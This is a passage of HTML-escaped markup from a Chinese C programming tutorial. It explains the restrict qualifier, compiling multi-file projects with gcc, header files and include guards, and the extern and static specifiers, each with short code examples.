foo;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003efoo\u003c/code\u003e指向的内存,可以用\u003ccode\u003efoo\u003c/code\u003e访问,也可以用\u003ccode\u003ebar\u003c/code\u003e访问,因此就不能将\u003ccode\u003efoo\u003c/code\u003e设为 restrict。\u003c/p\u003e\u003cp\u003e如果编译器知道某块内存只能用一个方式访问,可能可以更好地优化代码,因为不用担心其他地方会修改值。\u003c/p\u003e\u003cp\u003e\u003ccode\u003erestrict\u003c/code\u003e用于函数参数时,表示参数的内存地址之间没有重叠。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003evoid\u003c/span\u003e \u003cspan class=\"title function_\"\u003eswap\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e* \u003cspan class=\"keyword\"\u003erestrict\u003c/span\u003e b)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e t;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e t = *a;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *a = *b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e *b = t;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,函数参数声明里的\u003ccode\u003erestrict\u003c/code\u003e表示,参数\u003ccode\u003ea\u003c/code\u003e和参数\u003ccode\u003eb\u003c/code\u003e的内存地址没有重叠。\u003c/p\u003e\u003ch2 id=\"多文件项目\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%A4%9A%E6%96%87%E4%BB%B6%E9%A1%B9%E7%9B%AE\" class=\"headerlink\" title=\"多文件项目\"\u003e\u003c/a\u003e多文件项目\u003c/h2\u003e\u003ch3 id=\"简介-9\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-9\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e一个软件项目往往包含多个源码文件,编译时需要将这些文件一起编译,生成一个可执行文件。\u003c/p\u003e\u003cp\u003e假定一个项目有两个源码文件\u003ccode\u003efoo.c\u003c/code\u003e和\u003ccode\u003ebar.c\u003c/code\u003e,其中\u003ccode\u003efoo.c\u003c/code\u003e是主文件,\u003ccode\u003ebar.c\u003c/code\u003e是库文件。所谓“主文件”,就是包含了\u003ccode\u003emain()\u003c/code\u003e函数的项目入口文件,里面会引用库文件定义的各种函数。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// File foo.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, add(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 5!\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,主文件\u003ccode\u003efoo.c\u003c/code\u003e调用了函数\u003ccode\u003eadd()\u003c/code\u003e,这个函数是在库文件\u003ccode\u003ebar.c\u003c/code\u003e里面定义的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// File bar.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eadd\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e x, \u003cspan class=\"type\"\u003eint\u003c/span\u003e y)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e x + y;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e现在,将这两个文件一起编译。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e$ gcc -o foo foo.c bar.c\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e## 更省事的写法\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e$ gcc -o foo *.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面命令中,gcc 的\u003ccode\u003e-o\u003c/code\u003e参数指定生成的二进制可执行文件的文件名,本例是\u003ccode\u003efoo\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e这个命令运行后,编译器会发出警告,原因是在编译\u003ccode\u003efoo.c\u003c/code\u003e的过程中,编译器发现一个不认识的函数\u003ccode\u003eadd()\u003c/code\u003e,\u003ccode\u003efoo.c\u003c/code\u003e里面没有这个函数的原型或者定义。因此,最好修改一下\u003ccode\u003efoo.c\u003c/code\u003e,在文件头部加入\u003ccode\u003eadd()\u003c/code\u003e的原型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// File foo.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eadd\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, add(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 5!\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e现在再编译就没有警告了。\u003c/p\u003e\u003cp\u003e你可能马上就会想到,如果有多个文件都使用这个函数\u003ccode\u003eadd()\u003c/code\u003e,那么每个文件都需要加入函数原型。一旦需要修改函数\u003ccode\u003eadd()\u003c/code\u003e(比如改变参数的数量),就会非常麻烦,需要每个文件逐一改动。所以,通常的做法是新建一个专门的头文件\u003ccode\u003ebar.h\u003c/code\u003e,放置所有在\u003ccode\u003ebar.c\u003c/code\u003e里面定义的函数的原型。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// File bar.h\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eadd\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e然后使用\u003ccode\u003einclude\u003c/code\u003e命令,在用到这个函数的源码文件里面加载这个头文件\u003ccode\u003ebar.h\u003c/code\u003e。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// File foo.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;bar.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, add(\u003cspan class=\"number\"\u003e2\u003c/span\u003e, \u003cspan class=\"number\"\u003e3\u003c/span\u003e)); \u003cspan class=\"comment\"\u003e// 5!\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面代码中,\u003ccode\u003e#include \u0026#34;bar.h\u0026#34;\u003c/code\u003e表示加入头文件\u003ccode\u003ebar.h\u003c/code\u003e。这个文件没有放在尖括号里面,表示它是用户提供的;它没有写路径,就表示与当前源码文件在同一个目录。\u003c/p\u003e\u003cp\u003e然后,最好在\u003ccode\u003ebar.c\u003c/code\u003e里面也加载这个头文件,这样可以让编译器验证,函数原型与函数定义是否一致。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// File bar.c\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026#34;bar.h\u0026#34;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eadd\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e a, \u003cspan class=\"type\"\u003eint\u003c/span\u003e b)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e a + b;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e现在重新编译,就可以顺利得到二进制可执行文件。\u003c/p\u003e\u003cfigure class=\"highlight bash\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egcc -o foo foo.c bar.c\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch3 id=\"重复加载\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E9%87%8D%E5%A4%8D%E5%8A%A0%E8%BD%BD\" class=\"headerlink\" title=\"重复加载\"\u003e\u003c/a\u003e重复加载\u003c/h3\u003e\u003cp\u003e头文件里面还可以加载其他头文件,因此有可能产生重复加载。比如,\u003ccode\u003ea.h\u003c/code\u003e和\u003ccode\u003eb.h\u003c/code\u003e都加载了\u003ccode\u003ec.h\u003c/code\u003e,然后\u003ccode\u003efoo.c\u003c/code\u003e同时加载了\u003ccode\u003ea.h\u003c/code\u003e和\u003ccode\u003eb.h\u003c/code\u003e,这意味着\u003ccode\u003efoo.c\u003c/code\u003e会编译两次\u003ccode\u003ec.h\u003c/code\u003e。\u003c/p\u003e\u003cp\u003e最好避免这种重复加载,虽然多次定义同一个函数原型并不会报错,但是有些语句重复使用会报错,比如多次重复定义同一个 Struct 数据结构。解决重复加载的常见方法是,在头文件里面设置一个专门的宏,加载时一旦发现这个宏存在,就不再继续加载当前文件了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// File bar.h\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eifndef\u003c/span\u003e BAR_H\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003edefine\u003c/span\u003e BAR_H\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eadd\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e, \u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003eendif\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,头文件\u003ccode\u003ebar.h\u003c/code\u003e使用\u003ccode\u003e#ifndef\u003c/code\u003e和\u003ccode\u003e#endif\u003c/code\u003e设置了一个条件判断。每当加载这个头文件时,就会执行这个判断,查看有没有设置过宏\u003ccode\u003eBAR_H\u003c/code\u003e。如果设置过了,表明这个头文件已经加载过了,就不再重复加载了,反之就先设置一下这个宏,然后加载函数原型。\u003c/p\u003e\u003ch3 id=\"extern-说明符-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#extern-%E8%AF%B4%E6%98%8E%E7%AC%A6-1\" class=\"headerlink\" title=\"extern 说明符\"\u003e\u003c/a\u003eextern 说明符\u003c/h3\u003e\u003cp\u003e当前文件还可以使用其他文件定义的变量,这时要使用\u003ccode\u003eextern\u003c/code\u003e说明符,在当前文件中声明,这个变量是其他文件定义的。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e myVar;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003eextern\u003c/code\u003e说明符告诉编译器,变量\u003ccode\u003emyvar\u003c/code\u003e是其他脚本文件声明的,不需要在这里为它分配内存空间。\u003c/p\u003e\u003cp\u003e由于不需要分配内存空间,所以\u003ccode\u003eextern\u003c/code\u003e声明数组时,不需要给出数组长度。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003eextern\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a[];\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e这种共享变量的声明,可以直接写在源码文件里面,也可以放在头文件中,通过\u003ccode\u003e#include\u003c/code\u003e指令加载。\u003c/p\u003e\u003ch3 id=\"static-说明符-1\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#static-%E8%AF%B4%E6%98%8E%E7%AC%A6-1\" class=\"headerlink\" title=\"static 说明符\"\u003e\u003c/a\u003estatic 说明符\u003c/h3\u003e\u003cp\u003e正常情况下,当前文件内部的全局变量,可以被其他文件使用。有时候,不希望发生这种情况,而是希望某个变量只局限在当前文件内部使用,不要被其他文件引用。\u003c/p\u003e\u003cp\u003e这时可以在声明变量的时候,使用\u003ccode\u003estatic\u003c/code\u003e关键字,使得该变量变成当前文件的私有变量。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003estatic\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e foo = \u003cspan class=\"number\"\u003e3\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,变量\u003ccode\u003efoo\u003c/code\u003e只能在当前文件里面使用,其他文件不能引用。\u003c/p\u003e\u003ch3 id=\"编译策略\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%BC%96%E8%AF%91%E7%AD%96%E7%95%A5\" class=\"headerlink\" 